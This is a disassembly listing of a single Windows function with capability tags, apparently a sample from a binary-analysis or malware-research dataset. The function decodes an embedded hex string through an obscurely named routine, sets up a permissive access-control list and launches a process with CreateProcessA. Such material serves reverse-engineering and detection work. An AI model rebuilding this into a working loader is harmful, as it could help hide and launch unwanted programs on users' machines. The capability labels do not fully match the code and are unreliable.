Function at 0x69642f38
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x52c
mov dword [ebp - 0x28], 0
mov ecx, 0
mov eax, 0x20
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x48], ecx
add eax, 4
cmp eax, edx
jb 0x69642f5f
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], str.82e19f8b2959ae9b971f0fd439f6a1153f36ea33dc7b98e63f8d96742a2b54a431cd140298aecf01ac4d7ce21d1a10097c55077a9030c19efd5d21f951fa7394
lea eax, [ebp - 0x485]
mov ebx, 0x6964a2a0
mov edx, 0x43d
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x485]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0x43d
call sym._y2Ob5
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x4cc]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0
mov dword [ebp - 0x4fc], 0
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4f0], 0
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x48]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], 1
lea eax, [ebp - 0x4e0]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
call eax
sub esp, 8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x48], 0x10000000
mov dword [ebp - 0x30], 5
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x48]
mov dword [esp + 4], eax
mov dword [esp], 1
mov eax, dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x69643101
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
jmp 0x69643285
mov dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x4e0]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
call eax
sub esp, 0x10
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4ec], 0xc
mov eax, dword [ebp - 0x4e8]
lea edx, [ebp - 0x500]
mov dword [esp + 8], edx
lea edx, [ebp - 0x502]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorControl]
call eax
sub esp, 0xc
movzx eax, word [ebp - 0x502]
or ah, 0x10
mov word [ebp - 0x502], ax
movzx eax, word [ebp - 0x502]
movzx edx, ax
mov eax, dword [ebp - 0x4e8]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorControl]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov dword [ebp - 0x4cc], 0x44
mov word [ebp - 0x49c], 0
mov dword [ebp - 0x4a0], 1
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x4fc]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4cc]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x200
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
je 0x69643285
mov eax, dword [ebp - 0x4fc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x4f8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x4fc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret